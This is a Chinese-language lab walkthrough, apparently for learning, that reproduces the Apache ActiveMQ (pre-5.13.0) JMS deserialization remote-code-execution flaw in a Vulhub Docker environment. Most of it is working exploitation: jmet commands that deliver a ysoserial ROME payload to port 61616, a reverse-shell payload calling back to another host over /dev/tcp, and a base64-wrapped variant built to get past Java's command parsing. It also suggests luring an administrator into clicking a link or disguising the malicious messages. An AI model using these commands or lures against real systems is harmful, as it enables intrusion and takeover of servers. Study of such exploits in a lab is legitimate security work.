文章说明
漏洞复现是为了学习漏洞利用所写,漏洞都是互联网上以流传已久的各种漏洞的利用及原理,用来增强自己见识,培养自己动手能力,有兴趣的朋友可自行搭建环境练习。源码下载连接在文章最后。
漏洞说明
Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持Java消息服务、集群、Spring Framework等。
Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。
参考链接:
https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf
环境搭建
1、进入到Vulhub中对于的漏洞号中,运行命令:docker-compose up -d,出现done,说明容器运行成功
2、输入命令,docker ps,可以查看容器信息,看到开启了8161和61616端口,其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161
即可看到web管理页面,不过这个漏洞理论上是不需要web的
漏洞复现
1、本漏洞使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要在ysoserial是gadget中选择一个可以使用的,比如ROME。
jmet需要JAVA环境支持,如果没安装JAVA可以运行,apt-get install openjdk-8-jre-headless。安装完成之后运行java -version看是否出现安装的java版本,有信息说明java安装成功
JAVA安装完成之后,安装jmet,执行
切换到opt目录:cd /opt/
下载jemt:sudo wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
创建目录,mkdir external
2、构建pyload:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/xxx" -Yp ROME your-ip 61616,这个pyload是在靶机/tmp/目录下创建一个xxx文件
此时会给目标的ActiveMQ添加一个名为事件的队列,可以我们通过http://192.168.190.133:8161/admin/browse.jsp?JMSDestination=event看到这个队列中所有消息:
点击事件就会触发执行命令
进入docker下的/tmp查看情况
查看容器ID:docker ps
进入容器:docker exec -it 容器ID /bin/bash
查看命令执行成功
3、反弹shell
使用payload命令: java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/192.168.190.134/8888 0>&1" -Yp ROME 192.168.190.133 61616
这里需要一些小技巧来绕过java的机制,bash -c {echo,payload的basse64编码}|{base64,-d}|{bash,-i}
完全构成的Pyload为:java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE5MC4xMzQvODg4OCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.190.133 61616
shell反弹成功:
值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。
完